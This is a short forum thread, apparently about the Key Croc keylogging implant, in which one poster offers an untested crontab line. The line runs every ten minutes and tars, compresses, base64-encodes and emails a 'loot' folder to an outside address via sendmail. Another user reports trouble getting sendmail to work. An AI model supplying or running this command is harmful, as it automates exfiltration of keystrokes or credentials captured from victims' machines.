Jump to content

Since the Keycroc is a Linux box, Can we set up a Cron Job?


Recommended Posts

On 6/14/2020 at 12:22 PM, kdodge said:

does the key croc have sendmail installed?

$ crontab -e

*/10 * * * * echo -e "Subject:Loot\n" > sample_header.txt && tar cvf - /path/to/loot/folder/* | gzip -9 | base64 | cat sample_header.txt - | sendmail email@example.com && rm sample_header.txt

This is untested, you may need to fiddle with it.

Thanks man.

Having trouble with sendmail.  I probably haven't got something configured right.   



  • Like 1
Link to comment
Share on other sites

  • 8 months later...

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
  • Create New...